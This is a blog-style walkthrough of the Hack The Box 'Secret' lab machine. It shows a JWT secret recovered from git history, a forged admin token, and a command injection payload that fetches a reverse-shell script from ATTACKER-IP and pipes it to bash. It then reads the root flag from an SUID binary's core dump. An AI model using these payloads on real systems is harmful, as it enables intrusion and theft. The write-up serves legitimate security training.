RSSAmplifier

Nathan Ellison · Dec 6, 2024

Hack The Box - Secret

0
Sign in to vote or save

Nathan Ellison

Secret is an easy difficulty Linux machine from Hack The Box. It involves using a leaked secret to forge a JSON web token. The token is then used to exploit a command injection vulnerability present in a vulnerable API endpoint. The root flag is obtained by reading the contents of file descriptors present in the core dump of an SUID binary.


Enumeration

Let the recon begin.

Nmap

Every box begins with an nmap scan:

sudo nmap -sCV TARGET-IP

nmap showed the following results:

Nmap scan report for TARGET-IP
Host is up, received syn-ack (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    syn-ack Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.32 seconds

I could see that there were 3 ports open:

Port Service Remarks
22 SSH Remote login
80 HTTP Web server
3000 Node.JS ???

Web Server

I usually like to check out the web server of a box first. The site hosted appeared to be documentation for an API. However, the author didn’t appear to be the most helpful…

never respond

After looking around some more, I found that the site contained a button to download the source code of the application that was being documented:

source code button

Source Code

There were quite a few files contained within the downloaded file:

drwxrwxr-x   8 webbed webbed  4096 Apr  7 14:19 .
drwxr-xr-x   6 webbed webbed  4096 Apr  7 14:18 ..
-rw-rw-r--   1 webbed webbed    72 Sep  3  2021 .env
drwxrwxr-x   8 webbed webbed  4096 Sep  9  2021 .git
-rw-rw-r--   1 webbed webbed   885 Sep  3  2021 index.js
drwxrwxr-x   2 webbed webbed  4096 Apr  7 14:21 model
drwxrwxr-x 201 webbed webbed  4096 Aug 13  2021 node_modules
-rw-rw-r--   1 webbed webbed 69452 Aug 13  2021 package-lock.json
-rw-rw-r--   1 webbed webbed   491 Aug 13  2021 package.json
drwxrwxr-x   4 webbed webbed  4096 Sep  3  2021 public
drwxrwxr-x   2 webbed webbed  4096 Apr  7 14:20 routes
drwxrwxr-x   4 webbed webbed  4096 Aug 13  2021 src
-rw-rw-r--   1 webbed webbed   651 Aug 13  2021 validations.js

One thing that I noticed was the presence of a .git folder, telling me that I was inside a Git repository. This meant that I could run git log to view the previous commits that were made to the repo:

commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

Leaked Secrets

The commit with the message removed .env for security reasons certainly looked interesting. Storing secrets in a Git repository is never a good idea. To grab the content of the .env file, I ran git show to get the content of the commit before the one that removed .env:

git show de0a46b5107a2f4d26e348303e76d85ae4870934

This revealed the secret token that was previously stored in .env:

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Command Injection

Browsing the git logs further revealed another interesting commit:

now we can view logs from server 😃

The contents of this commit showed an interesting endpoint: /logs:

commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {

     if (name == 'theadmin'){
         res.json({
-            role:{
-
-                role:"you are admin",
-                desc : "{flag will be here}"
+            creds:{
+                role:"admin",
+                username:"theadmin",
+                desc : "welcome back admin,"
             }
         })
     }
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
             }
         })
     }
+})
+

+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 })

The /logs endpoint accepted a file name directly from the incoming request. If the right token was included, it would place the supplied filename into a git log command that was then executed on the server using the exec function:

const getLogs = `git log --oneline ${file}`;

The fact that there was not any kind of validation or sanitisation performed on the input meant that there was a command injection vulnerability present in the /logs endpoint.

Token Forging

The /logs endpoint was protected by the following check:

if (name == 'theadmin')

The name came from a JWT (JSON Web Token) that was included in an auth-token header on the incoming request. This was verified by the verifytoken function before the code defined in the /logs route was executed:

router.get('/logs', verifytoken, (req, res) => ...

The verifytoken function would use the jwt.verify function to check that the token being verified was signed by the secret defined in the .env file (the same secret that was leaked earlier):

const verified = jwt.verify(token, process.env.TOKEN_SECRET);

During normal usage of this API, a user would provide their credentials to the /login endpoint. Assuming valid credentials were supplied, the file auth.js would create a JWT that the user would then include in future requests:

// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);

Knowing that this was how the tokens were bring created, and that only the user with the name theadmin could call /logs, I created the following JavaScript snippet to forge my own token with the leaked secret:

1const jwt =  require('jsonwebtoken');
2
3var userObj = {"_id":"admin","name":"theadmin","email":"[email protected]"};
4var secret = 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE';
5
6console.log(jwt.sign(userObj,secret));

Foothold

With a valid JWT, it was then possible to call the /logs endpoint and exploit the command injection vulnerability. The user controlled input is placed at the end of a git log command:

const getLogs = `git log --oneline ${file}`;

To execute extra commands, the following payload was used to terminate the existing command, and then append an extra command:

;curl+ATTACKER-IP/shell.sh|bash

This turned the git log command into the following expression:

git log --oneline ;curl ATTACKER-IP/shell.sh|bash

The initial git log would fail, since the expected filename input was missing. The ; terminated the preceding command, and command following it was then executed on the server:

curl ATTACKER-IP/shell.sh|bash

This sent an HTTP to the attacking machine, requesting a reverse shell script named shell.sh that had the following content:

bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1

After receiving the shell script, this was then passed to bash with a pipe (|), resulting in remote code execution. The final request looked like this:

GET /api/logs?file=;curl+ATTACKER-IP/shell.sh|bash HTTP/1.1
Host: secret.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Length: 0
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiJhZG1pbiIsIm5hbWUiOiJ0aGVhZG1pbiIsImVtYWlsIjoiYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE3MTI0NTk2OTh9.rMJKJBBSaQCxolDxyLtSoMcimO1YEX38N26eARhw8TQ

Post Exploitation

After sending the malicious request and gaining a foothold on the box, I performed my usual checks for privilege escalation vectors. This included searching for programs that had the SUID bit set.

find / -perm /4000 2>/dev/null

SUID (Set User ID) allows for low privileged users to run programs with the permissions of the owner of the program. Programs that are owned by root and have SUID set will always be run as root, no matter who starts the program. I’m sure you can see how this could be abused.

/opt/count

Searching for SUID binaries showed an interesting result inside the /opt directory, revealing a binary named count. The source code for the binary was also located inside /opt:

  1#include <stdio.h>
  2#include <stdlib.h>
  3#include <unistd.h>
  4#include <string.h>
  5#include <dirent.h>
  6#include <sys/prctl.h>
  7#include <sys/types.h>
  8#include <sys/stat.h>
  9#include <linux/limits.h>
 10
 11void dircount(const char *path, char *summary)
 12{
 13    DIR *dir;
 14    char fullpath[PATH_MAX];
 15    struct dirent *ent;
 16    struct stat fstat;
 17
 18    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
 19
 20    if((dir = opendir(path)) == NULL)
 21    {
 22        printf("\nUnable to open directory.\n");
 23        exit(EXIT_FAILURE);
 24    }
 25    while ((ent = readdir(dir)) != NULL)
 26    {
 27        ++tot;
 28        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
 29        strcat(fullpath, "/");
 30        strncat(fullpath, ent->d_name, strlen(ent->d_name));
 31        if (!lstat(fullpath, &fstat))
 32        {
 33            if(S_ISDIR(fstat.st_mode))
 34            {
 35                printf("d");
 36                ++directories;
 37            }
 38            else if(S_ISLNK(fstat.st_mode))
 39            {
 40                printf("l");
 41                ++symlinks;
 42            }
 43            else if(S_ISREG(fstat.st_mode))
 44            {
 45                printf("-");
 46                ++regular_files;
 47            }
 48            else printf("?");
 49            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
 50            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
 51            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
 52            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
 53            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
 54            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
 55            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
 56            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
 57            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
 58        }
 59        else
 60        {
 61            printf("??????????");
 62        }
 63        printf ("\t%s\n", ent->d_name);
 64    }
 65    closedir(dir);
 66
 67    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
 68    printf("\n%s", summary);
 69}
 70
 71
 72void filecount(const char *path, char *summary)
 73{
 74    FILE *file;
 75    char ch;
 76    int characters, words, lines;
 77
 78    file = fopen(path, "r");
 79
 80    if (file == NULL)
 81    {
 82        printf("\nUnable to open file.\n");
 83        printf("Please check if file exists and you have read privilege.\n");
 84        exit(EXIT_FAILURE);
 85    }
 86
 87    characters = words = lines = 0;
 88    while ((ch = fgetc(file)) != EOF)
 89    {
 90        characters++;
 91        if (ch == '\n' || ch == '\0')
 92            lines++;
 93        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
 94            words++;
 95    }
 96
 97    if (characters > 0)
 98    {
 99        words++;
100        lines++;
101    }
102
103    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
104    printf("\n%s", summary);
105}
106
107
108int main()
109{
110    char path[100];
111    int res;
112    struct stat path_s;
113    char summary[4096];
114
115    printf("Enter source file/directory name: ");
116    scanf("%99s", path);
117    getchar();
118    stat(path, &path_s);
119    if(S_ISDIR(path_s.st_mode))
120        dircount(path, summary);
121    else
122        filecount(path, summary);
123
124    // drop privs to limit file write
125    setuid(getuid());
126    // Enable coredump generation
127    prctl(PR_SET_DUMPABLE, 1);
128    printf("Save results a file? [y/N]: ");
129    res = getchar();
130    if (res == 121 || res == 89) {
131        printf("Path: ");
132        scanf("%99s", path);
133        FILE *fp = fopen(path, "a");
134        if (fp != NULL) {
135            fputs(summary, fp);
136            fclose(fp);
137        } else {
138            printf("Could not open %s for writing\n", path);
139        }
140    }
141
142    return 0;
143}

The binary accepted a file or directory name as input, and then proceeded to count the number of characters in the supplied file, or the number of files present in the supplied directory.

./count

Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2

Because the binary had SUID set and was owned by root, this meant that the binary was opening up files as root, meaning that it was able to read any file on the system.

Signals

The source code contained an interesting line:

126// Enable coredump generation
127prctl(PR_SET_DUMPABLE, 1);

This line declared that it was possible for the binary to produce a core dump if it happened to crash while it was running. A core dump is a summary of what the program was doing right before it crashed. It is generated by the OS kernel, and contains things like register values, the call stack, and the memory of the program. The prctl manual page has the following definition for PR_SET_DUMPABLE:

PR_SET_DUMPABLE (since Linux 2.3.20)
    Set the state of the "dumpable" attribute, which
    determines whether core dumps are produced for the calling
    process upon delivery of a signal whose default behavior
    is to produce a core dump.

Signals are sent to processes when events happen. A common signal is SIGINT; the interrupt signal. This gets sent to a process when you press CTRL+C to interrupt the execution of a process. This signal doesn’t produce a core dump though, as it is simply the user interrupting execution. A signal that does create a core dump is SIGSEGV; a segmentation fault.

A segmentation fault occurs when a program attempts to access memory that is outside its allocated block of memory. When this happens, the program crashes, and a core dump is created.

It is possible to send a signal to a program while it is still running using the kill command. First, the PID (Process ID) of the target program must be gathered:

ps aux | grep PROGRAM-NAME

Passing this PID along with the desired signal to the kill command will send the specified signal to the process.

Root

To leak root.txt, I first started the program and passed it the file path /root/root.txt. It then prompted me to ask if I wanted to save the results as a file, which kept the process alive:

./count

Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]:

I then deliberately crashed the count program to create a core dump. I achieved this by using a different terminal connected to the target, and running the kill command to send the SIGSEGV signal to the running process:

kill -SIGSEGV PID

This created a crash file that I was then able to unpack and parse using apport-unpack:

apport-unpack CRASH_FILE /PATH/TO/OUTPUT/DIRECTORY

This created a few files in the output directory:

dasith@secret:~/crashout$ ls
Architecture
Date
ExecutablePath
_LogindSession
ProcCmdline
ProcEnviron
ProcStatus
Uname
CoreDump
DistroRelease
ExecutableTimestamp
ProblemType
ProcCwd
ProcMaps
Signal
UserGroups

Because the binary was handling the root.txt file at the time of it crashing, the content of root.txt was included in the CoreDump file. Running the strings command on CoreDump revealed the root flag.

strings CoreDump

References

Read the original on nathan-ellison.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.